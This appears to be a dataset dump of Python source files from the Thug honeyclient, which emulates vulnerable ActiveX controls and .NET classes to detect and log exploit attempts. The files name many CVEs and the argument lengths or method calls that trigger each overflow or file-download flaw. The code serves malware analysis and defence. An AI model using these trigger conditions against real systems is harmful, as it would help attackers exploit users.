id
int64
0
458k
file_name
stringlengths
4
119
file_path
stringlengths
14
227
content
stringlengths
24
9.96M
size
int64
24
9.96M
language
stringclasses
1 value
extension
stringclasses
14 values
total_lines
int64
1
219k
avg_line_length
float64
2.52
4.63M
max_line_length
int64
5
9.91M
alphanum_fraction
float64
0
1
repo_name
stringlengths
7
101
repo_stars
int64
100
139k
repo_forks
int64
0
26.4k
repo_open_issues
int64
0
2.27k
repo_license
stringclasses
12 values
repo_extraction_date
stringclasses
433 values
13,000
StormConfig.py
buffer_thug/thug/ActiveX/modules/StormConfig.py
# BaoFeng Storm ActiveX Control SetAttributeValue() Buffer Overflow Vulnerability # CVE-2009-1807 import logging log = logging.getLogger("Thug") def SetAttributeValue(self, arg0, arg1, arg2): # pylint:disable=unused-argument if len(arg0) > 260: log.ThugLogging.log_exploit_event( self._windo...
609
Python
.py
14
36.142857
87
0.691525
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,001
SSReaderPdg2.py
buffer_thug/thug/ActiveX/modules/SSReaderPdg2.py
# SSReader Pdg2 ActiveX control (pdg2.dll) # CVE-2007-5892 import logging log = logging.getLogger("Thug") def Register(self, arg0, arg1): # pylint:disable=unused-argument if len(arg1) > 255: log.ThugLogging.log_exploit_event( self._window.url, "SSReader Pdg2 ActiveX", ...
980
Python
.py
24
32.5
87
0.64557
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,002
SnapshotViewer.py
buffer_thug/thug/ActiveX/modules/SnapshotViewer.py
# Microsoft Access Snapshot Viewer # CVE-2008-2463 import logging log = logging.getLogger("Thug") def PrintSnapshot(self, SnapshotPath="", CompressedPath=""): if SnapshotPath: self.SnapshotPath = SnapshotPath if CompressedPath: self.CompressedPath = CompressedPath msg = f"[Microsoft Ac...
1,165
Python
.py
27
36.666667
129
0.706195
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,003
QvodCtrl.py
buffer_thug/thug/ActiveX/modules/QvodCtrl.py
# Qvod Player QvodCtrl Class ActiveX Control # CVE-NOMATCH import logging log = logging.getLogger("Thug") def SetURL(self, val): self.__dict__["URL"] = val self.__dict__["url"] = val if len(val) > 800: log.ThugLogging.log_exploit_event( self._window.url, "Qvod Player Qvo...
447
Python
.py
14
25.428571
54
0.633178
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,004
WindowsMediaPlayer.py
buffer_thug/thug/ActiveX/modules/WindowsMediaPlayer.py
import logging log = logging.getLogger("Thug") def Play(self): # pylint:disable=unused-argument log.warning("[WindowsMediaPlayer] Play")
145
Python
.py
4
33.5
49
0.768116
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,005
RDSDataSpace.py
buffer_thug/thug/ActiveX/modules/RDSDataSpace.py
# Microsoft MDAC RDS.Dataspace ActiveX # CVE-2006-0003 import logging log = logging.getLogger("Thug") def CreateObject(self, _object, param=""): # pylint:disable=unused-argument from thug import ActiveX log.ThugLogging.add_behavior_warn( f"[Microsoft MDAC RDS.Dataspace ActiveX] CreateObject ({_obj...
712
Python
.py
19
31.736842
83
0.692868
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,006
NeoTracePro.py
buffer_thug/thug/ActiveX/modules/NeoTracePro.py
# NeoTraceExplorer.NeoTraceLoader ActiveX control (NeoTraceExplorer.dll) # CVE-2006-6707 import logging log = logging.getLogger("Thug") def TraceTarget(self, target): if len(target) > 255: log.ThugLogging.log_exploit_event( self._window.url, "NeoTraceExplorer.NeoTraceLoader Activ...
547
Python
.py
14
31.714286
87
0.681818
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,007
FacebookPhotoUploader.py
buffer_thug/thug/ActiveX/modules/FacebookPhotoUploader.py
# Facebook Photo Uploader 4.x # CVE-NOMATCH import logging log = logging.getLogger("Thug") def SetExtractIptc(self, val): self.__dict__["ExtractIptc"] = val if len(val) > 255: log.ThugLogging.log_exploit_event( self._window.url, "FaceBook Photo Uploader ActiveX", ...
751
Python
.py
22
26.590909
54
0.63939
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,008
ConnectAndEnterRoom.py
buffer_thug/thug/ActiveX/modules/ConnectAndEnterRoom.py
# GlobalLink ConnectAndEnterRoom ActiveX Control ConnectAndEnterRoom() Method Overflow Vulnerability # CVE-2007-5722 import logging log = logging.getLogger("Thug") def ConnectAndEnterRoom(self, arg0, arg1, arg2, arg3, arg4, arg5): # pylint:disable=unused-argument if len(arg0) > 172: log.ThugLogging.log...
652
Python
.py
14
39.214286
100
0.706161
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,009
ICQToolbar.py
buffer_thug/thug/ActiveX/modules/ICQToolbar.py
# ICQ Toolbar attack # CVE-NOMATCH import logging log = logging.getLogger("Thug") def GetPropertyById(self, arg0, arg1): # pylint:disable=unused-argument if len(arg1) > 120: log.ThugLogging.log_exploit_event( self._window.url, "ICQ Toolbar ActiveX", "Buffer overflow ...
407
Python
.py
12
27.25
72
0.670077
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,010
WMP.py
buffer_thug/thug/ActiveX/modules/WMP.py
import logging log = logging.getLogger("Thug") def openPlayer(self, arg): # pylint:disable=unused-argument log.warning(arg)
132
Python
.py
4
30.25
60
0.768
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,011
UUSeeUpdate.py
buffer_thug/thug/ActiveX/modules/UUSeeUpdate.py
# UUSee UUUpgrade ActiveX Control 'Update' Method Arbitrary File Download Vulnerability # CVE... import logging log = logging.getLogger("Thug") def Update(self, *args): # pylint:disable=unused-argument log.ThugLogging.log_exploit_event( self._window.url, "UUsee UUPgrade ActiveX", "Attack in Update Meth...
330
Python
.py
8
37.75
87
0.751572
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,012
Shockwave.py
buffer_thug/thug/ActiveX/modules/Shockwave.py
import logging log = logging.getLogger("Thug") def ShockwaveVersion(self, arg): if len(arg) >= 768 * 768: log.ThugLogging.log_exploit_event( self._window.url, "Shockwave", "ShockwaveVersion Stack Overflow" ) log.ThugLogging.Shellcode.check_shellcode(arg)
298
Python
.py
8
30.875
76
0.682927
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,013
MicrosoftWorks7Attack.py
buffer_thug/thug/ActiveX/modules/MicrosoftWorks7Attack.py
import logging log = logging.getLogger("Thug") def SetWksPictureInterface(self, val): self.__dict__["WksPictureInterface"] = val log.ThugLogging.log_exploit_event( self._window.url, "MicrosoftWorks7 ActiveX", "Overflow in WksPictureInterface property", )
295
Python
.py
9
27.333333
51
0.705674
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,014
DVRHOSTWeb.py
buffer_thug/thug/ActiveX/modules/DVRHOSTWeb.py
# DVRHOST Web CMS OCX 1.x # CVE-NOMATCH import logging log = logging.getLogger("Thug") def TimeSpanFormat(self, arg0, arg1): # pylint:disable=unused-argument if len(arg1) > 512: log.ThugLogging.log_exploit_event( self._window.url, "DVRHOST Web CMS OCX ActiveX", "Over...
411
Python
.py
12
27.583333
71
0.663291
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,015
AdodbStream.py
buffer_thug/thug/ActiveX/modules/AdodbStream.py
from io import BytesIO import logging log = logging.getLogger("Thug") def getSize(self): fobject = getattr(self, "fobject", None) content = self.fobject.getvalue() if fobject else str() return len(content) def open(self): # pylint:disable=redefined-builtin log.ThugLogging.add_behavior_warn("[Adod...
2,404
Python
.py
59
35.372881
86
0.69892
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,016
MacrovisionFlexNet.py
buffer_thug/thug/ActiveX/modules/MacrovisionFlexNet.py
# MacrovisionJob, MacrovisionFlexNet # CVE-2007-2419, CVE-2007-5660, CVE-2007-6654, CVE-2007-0321, CVE-2007-0328 import logging log = logging.getLogger("Thug") def Initialize(self, *args): # pylint:disable=unused-argument log.ThugLogging.add_behavior_warn("[Macrovision ActiveX] Initialize") def CreateJob(sel...
3,549
Python
.py
74
41.013514
96
0.684943
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,017
TextStream.py
buffer_thug/thug/ActiveX/modules/TextStream.py
import os import hashlib import string import random import errno import logging log = logging.getLogger("Thug") class TextStream: def __init__(self): self.stream = [] self._Line = 1 self._Column = 1 self._currentLine = 1 self._currentColumn = 1 self._filename = ""...
4,792
Python
.py
137
24.744526
88
0.543167
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,018
ScriptingFileSystemObject.py
buffer_thug/thug/ActiveX/modules/ScriptingFileSystemObject.py
import os import string import random import logging from thug.ActiveX.modules import WScriptShell from thug.ActiveX.modules import TextStream from thug.ActiveX.modules import File from thug.ActiveX.modules import Folder from thug.OS.Windows import win32_files from thug.OS.Windows import win32_folders log = logging.g...
4,975
Python
.py
122
35.02459
102
0.707043
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,019
AnswerWorks.py
buffer_thug/thug/ActiveX/modules/AnswerWorks.py
# Vantage Linguistics AnserWorks ActiveX Controls # CVE-2007-6387 import logging log = logging.getLogger("Thug") def GetHistory(self, arg): if len(arg) > 215: log.ThugLogging.log_classifier("exploit", log.ThugLogging.url, "CVE-2007-6387") log.ThugLogging.log_exploit_event( self._wind...
1,275
Python
.py
34
28.852941
87
0.631792
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,020
MyspaceUploader.py
buffer_thug/thug/ActiveX/modules/MyspaceUploader.py
# MySpace Uploader Control 1.x # CVE-NOMATCH import logging log = logging.getLogger("Thug") def SetAction(self, val): self.__dict__["Action"] = val if len(val) > 512: log.ThugLogging.log_exploit_event( self._window.url, "Myspace UPloader ActiveX", "Overflow in Action property" )...
376
Python
.py
11
28.727273
87
0.680556
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,021
OfficeOCX.py
buffer_thug/thug/ActiveX/modules/OfficeOCX.py
# Multiple Office OCX ActiveX Controls 'OpenWebFile()' Arbitrary # Program Execution Vulnerability # BID-33243 import logging log = logging.getLogger("Thug") def OpenWebFile(self, _file): log.ThugLogging.add_behavior_warn( "[Office OCX ActiveX] OpenWebFile Arbitrary Program Execution Vulnerability" ...
945
Python
.py
22
37.318182
88
0.716467
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,022
AdodbRecordset.py
buffer_thug/thug/ActiveX/modules/AdodbRecordset.py
import collections from thug.DOM.JSClass import JSClass class Fields(JSClass): def __init__(self, items=None): self.items = collections.OrderedDict() if items is None else items @property def count(self): return len(self.items) def item(self, key): if isinstance(key, str): ...
610
Python
.py
18
25.777778
74
0.614726
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,023
IMWebControl.py
buffer_thug/thug/ActiveX/modules/IMWebControl.py
# iMesh<= 7.1.0.x IMWebControl Class # CVE-2007-6493, CVE-2007-6492 import logging log = logging.getLogger("Thug") def ProcessRequestEx(self, arg): if not arg: log.ThugLogging.log_exploit_event( self._window.url, "iMesh IMWebControl ActiveX", "NULL value in ProcessReq...
807
Python
.py
22
28.409091
87
0.625483
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,024
Folder.py
buffer_thug/thug/ActiveX/modules/Folder.py
import logging log = logging.getLogger("Thug") ATTRIBUTES = { "Normal": 0, # Normal file. No attributes are set. "ReadOnly": 1, # Read-only file. Attribute is read/write. "Hidden": 2, # Hidden file. Attribute is read/write. "System": 4, # System file. Attribute is read/write. "Volume": 8, # ...
2,252
Python
.py
60
29.6
83
0.599908
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,025
XMLDOMParseError.py
buffer_thug/thug/ActiveX/modules/XMLDOMParseError.py
class XMLDOMParseError: def __init__(self): self._errorCode = 0 self._filepos = 0 self._line = 0 self._linepos = 0 self._reason = 0 self._srcText = "" self._url = "" @property def errorCode(self): # pylint:disable=unused-variable return self....
921
Python
.py
30
23.733333
58
0.631222
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,026
ShockwaveFlash12.py
buffer_thug/thug/ActiveX/modules/ShockwaveFlash12.py
import logging log = logging.getLogger("Thug") def GetVariable(self, arg): # pylint:disable=unused-argument if arg in ("$version",): version = ["0", "0", "0", "0"] idx = 0 for p in log.ThugVulnModules.shockwave_flash.split("."): version[idx] = p idx += 1 ...
390
Python
.py
11
28.090909
64
0.565684
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,027
RtspVaPgCtrl.py
buffer_thug/thug/ActiveX/modules/RtspVaPgCtrl.py
# RTSP MPEG4 SP Control 1.x # CVE-NOMATCH import logging log = logging.getLogger("Thug") def SetMP4Prefix(self, val): self.__dict__["MP4Prefix"] = val if len(val) > 128: log.ThugLogging.log_exploit_event( self._window.url, "RTSP MPEG4 SP Control ActiveX", "Overfl...
412
Python
.py
13
25.076923
54
0.642132
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,028
VLC.py
buffer_thug/thug/ActiveX/modules/VLC.py
# VLC ActiveX Control # CVE-2007-4619, CVE-2007-6262 import logging log = logging.getLogger("Thug") def getVariable(self, arg): if len(arg) > 255: log.ThugLogging.log_exploit_event( self._window.url, "VLC ActiveX", "getVariable Overflow", cve="CVE-2007-6262" ) log.ThugLoggin...
1,445
Python
.py
29
42.37931
88
0.684698
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,029
RealPlayer.py
buffer_thug/thug/ActiveX/modules/RealPlayer.py
# RealMedia RealPlayer Ierpplug.DLL ActiveX Control # CVE-2007-5601 import logging log = logging.getLogger("Thug") def DoAutoUpdateRequest(self, arg0, arg1, arg2): # pylint:disable=unused-argument if len(arg0) >= 32 or len(arg1) >= 32: log.ThugLogging.log_exploit_event( self._window.url, ...
2,063
Python
.py
49
33.326531
87
0.643966
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,030
JetAudioDownloadFromMusicStore.py
buffer_thug/thug/ActiveX/modules/JetAudioDownloadFromMusicStore.py
# jetAudio "DownloadFromMusicStore()" Arbitrary File Download Vulnerability # CVE-2007-4983 import logging log = logging.getLogger("Thug") def DownloadFromMusicStore( self, url, dst, title, artist, album, genere, size, param1, param2 ): # pylint:disable=unused-argument log.ThugLogging.add_behavior_warn( ...
932
Python
.py
23
34.73913
83
0.693245
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,031
WScriptExec.py
buffer_thug/thug/ActiveX/modules/WScriptExec.py
import logging import random from thug.ActiveX.modules.TextStream import TextStream log = logging.getLogger("Thug") class WScriptExec: def __init__(self): self._StdIn = TextStream() self._StdOut = TextStream() self._StdErr = TextStream() @property def ExitCode(self): log...
1,279
Python
.py
35
29.971429
88
0.69262
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,032
NCTAudioFile2.py
buffer_thug/thug/ActiveX/modules/NCTAudioFile2.py
# NCTsoft Products NCTAudioFile2 ActiveX Control # CVE-2007-0018 import logging log = logging.getLogger("Thug") def SetFormatLikeSample(self, arg): if len(arg) > 4000: log.ThugLogging.log_exploit_event( self._window.url, "NCTAudioFile2 ActiveX", "Overflow in SetFormat...
520
Python
.py
14
29.785714
87
0.672655
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,033
UniversalUpload.py
buffer_thug/thug/ActiveX/modules/UniversalUpload.py
# Universal HTTP File Upload (UUploaderSverD.dll - v6.0.0.35) # CVE-NOMATCH import logging log = logging.getLogger("Thug") def RemoveFileOrDir(self, arg0, arg1): # pylint:disable=unused-argument log.ThugLogging.add_behavior_warn( f"[Universal HTTP File Upload ActiveX] Deleting {arg0}" ) log.Thu...
502
Python
.py
15
27.933333
72
0.681159
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,034
SonicWallNetExtenderAddRouteEntry.py
buffer_thug/thug/ActiveX/modules/SonicWallNetExtenderAddRouteEntry.py
# SonicWall SSL-VPN NetExtender NELaunchCtrl ActiveX control # CVE-2007-5603 (AddRouteEntry) import logging log = logging.getLogger("Thug") def AddRouteEntry(self, arg0, arg1): if len(arg0) > 20 or len(arg1) > 20: log.ThugLogging.log_exploit_event( self._window.url, "SonicWall SS...
646
Python
.py
15
35.6
87
0.686901
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,035
__init__.py
buffer_thug/thug/ActiveX/modules/System/__init__.py
__all__ = ["Collections", "IO", "Runtime", "Security", "Text"] from . import Collections from . import IO from . import Runtime from . import Security from . import Text
171
Python
.py
6
27.333333
62
0.713415
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,036
MemoryStream.py
buffer_thug/thug/ActiveX/modules/System/IO/MemoryStream.py
import io import logging log = logging.getLogger("Thug") def Write(self, buffer, offset=0, count=-1): log.ThugLogging.add_behavior_warn("[System.IO.MemoryStream] Write") buflen = count if count > -1 else len(buffer) bufdat = buffer[: buflen - 1] streamdata = self.stream.getvalue() data = f"{str...
443
Python
.py
11
36.181818
71
0.701878
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,037
ASCIIEncoding.py
buffer_thug/thug/ActiveX/modules/System/Text/ASCIIEncoding.py
import logging log = logging.getLogger("Thug") def GetByteCount_2(self, chars): count = len(chars.encode("utf-8")) log.ThugLogging.add_behavior_warn( f"[System.Text.ASCIIEncoding] GetByteCount_2 count = {count}" ) return count def GetBytes_4(self, chars): log.ThugLogging.add_behavior_wa...
388
Python
.py
11
30.909091
79
0.72043
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,038
Activator.py
buffer_thug/thug/ActiveX/modules/System/Runtime/Activator.py
class Activator: def __init__(self, delegate): self.delegate = delegate def CreateInstance(self, Type): pass
134
Python
.py
5
20.8
35
0.640625
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,039
Delegate.py
buffer_thug/thug/ActiveX/modules/System/Runtime/Delegate.py
from .Activator import Activator class Delegate: def __init__(self, code): self.code = code def DynamicInvoke(self, args): return Activator(self)
173
Python
.py
6
23.333333
34
0.676829
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,040
BinaryFormatter.py
buffer_thug/thug/ActiveX/modules/System/Runtime/Serialization/Formatters/Binary/BinaryFormatter.py
import logging from thug.ActiveX.modules.System.Runtime.Delegate import Delegate log = logging.getLogger("Thug") def Deserialize_2(self, buf): log.ThugLogging.add_behavior_warn( "[System.Runtime.Serialization.Formatters.Binary.BinaryFormatter] Deserialize_2" ) data = buf.stream.getvalue() r...
341
Python
.py
9
33.666667
88
0.770642
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,041
ArrayList.py
buffer_thug/thug/ActiveX/modules/System/Collections/ArrayList.py
import logging log = logging.getLogger("Thug") def Add(self, value): log.ThugLogging.add_behavior_warn("[System.Collections.ArrayList] Add") self.arraylist.append(value) return self.arraylist.index(value) def ToArray(self): log.ThugLogging.add_behavior_warn("[System.Collections.ArrayList] ToArray")...
353
Python
.py
9
35.444444
79
0.769912
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,042
FromBase64Transform.py
buffer_thug/thug/ActiveX/modules/System/Security/Cryptography/FromBase64Transform.py
import base64 import logging log = logging.getLogger("Thug") def TransformFinalBlock(self, buffer, offset, count): log.ThugLogging.add_behavior_warn( "[System.Security.Cryptography.FromBase64ToTransform] TransformFinalBlock" ) return bytes(base64.b64decode("".join(buffer[offset : offset + count])...
323
Python
.py
8
36.5
82
0.766026
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,043
OpaqueFilter.py
buffer_thug/thug/ThugAPI/OpaqueFilter.py
#!/usr/bin/env python # # OpaqueFilter.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRAN...
787
Python
.py
21
35.761905
70
0.777195
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,044
ThugAPI.py
buffer_thug/thug/ThugAPI/ThugAPI.py
#!/usr/bin/env python # # ThugAPI.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; w...
16,364
Python
.py
415
31.436145
86
0.667426
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,045
Watchdog.py
buffer_thug/thug/ThugAPI/Watchdog.py
#!/usr/bin/env python # # Watchdog.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; ...
1,661
Python
.py
45
31.6
79
0.690535
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,046
IThugAPI.py
buffer_thug/thug/ThugAPI/IThugAPI.py
#!/usr/bin/env python # # IThugAPI.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; ...
19,217
Python
.py
676
19.616864
90
0.567727
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,047
abstractmethod.py
buffer_thug/thug/ThugAPI/abstractmethod.py
#!/usr/bin/env python import sys class abstractmethod: def __init__(self, func): self.func = func def __call__(self, *args, **kwds): func_name = ( self.func.__name__ if sys.version_info.major >= 3 else self.func.func_name ) raise NotImplementedError(f"Method {func...
341
Python
.py
10
27.5
86
0.611621
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,048
__init__.py
buffer_thug/thug/ThugAPI/__init__.py
from .ThugAPI import ThugAPI # noqa: F401 from .ThugOpts import ThugOpts # noqa: F401 from .ThugVulnModules import ThugVulnModules # noqa: F401
147
Python
.py
3
48
58
0.791667
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,049
ThugVulnModules.py
buffer_thug/thug/ThugAPI/ThugVulnModules.py
#!/usr/bin/env python # # ThugVulnModules.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WAR...
4,382
Python
.py
122
27.778689
93
0.622722
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,050
ThugOpts.py
buffer_thug/thug/ThugAPI/ThugOpts.py
#!/usr/bin/env python # # ThugOpts.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; ...
10,186
Python
.py
273
29.274725
95
0.643921
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,051
java.py
buffer_thug/thug/Java/java.py
#!/usr/bin/env python # # java.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; with...
763
Python
.py
21
34.619048
70
0.760487
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,052
lang.py
buffer_thug/thug/Java/lang.py
#!/usr/bin/env python # # lang.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; with...
771
Python
.py
21
35
70
0.763052
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,053
System.py
buffer_thug/thug/Java/System.py
#!/usr/bin/env python # # System.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; wi...
1,109
Python
.py
29
34.275862
70
0.711359
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,054
TextClassifier.py
buffer_thug/thug/Classifier/TextClassifier.py
#!/usr/bin/env python # # TextClassifier.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARR...
2,070
Python
.py
49
35.408163
86
0.661684
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,055
ImageClassifier.py
buffer_thug/thug/Classifier/ImageClassifier.py
#!/usr/bin/env python # # ImageClassifier.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WAR...
2,057
Python
.py
49
35.142857
86
0.662989
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,056
CookieClassifier.py
buffer_thug/thug/Classifier/CookieClassifier.py
#!/usr/bin/env python # # CookieClassifier.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WA...
2,094
Python
.py
49
35.897959
86
0.665682
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,057
JSClassifier.py
buffer_thug/thug/Classifier/JSClassifier.py
#!/usr/bin/env python # # JSClassifier.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRAN...
1,996
Python
.py
47
35.978723
86
0.668217
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,058
BaseClassifier.py
buffer_thug/thug/Classifier/BaseClassifier.py
#!/usr/bin/env python # # BaseClassifier.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARR...
5,394
Python
.py
138
29.152174
87
0.58881
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,059
SampleClassifier.py
buffer_thug/thug/Classifier/SampleClassifier.py
#!/usr/bin/env python # # SampleClassifier.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WA...
2,230
Python
.py
53
36.773585
86
0.691455
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,060
VBSClassifier.py
buffer_thug/thug/Classifier/VBSClassifier.py
#!/usr/bin/env python # # VBSClassifier.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRA...
2,002
Python
.py
47
36.12766
86
0.669413
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,061
HTMLClassifier.py
buffer_thug/thug/Classifier/HTMLClassifier.py
#!/usr/bin/env python # # HTMLClassifier.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARR...
2,147
Python
.py
51
35.078431
86
0.660259
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,062
URLClassifier.py
buffer_thug/thug/Classifier/URLClassifier.py
#!/usr/bin/env python # # URLClassifier.py # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRA...
2,318
Python
.py
57
34.789474
86
0.676457
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,063
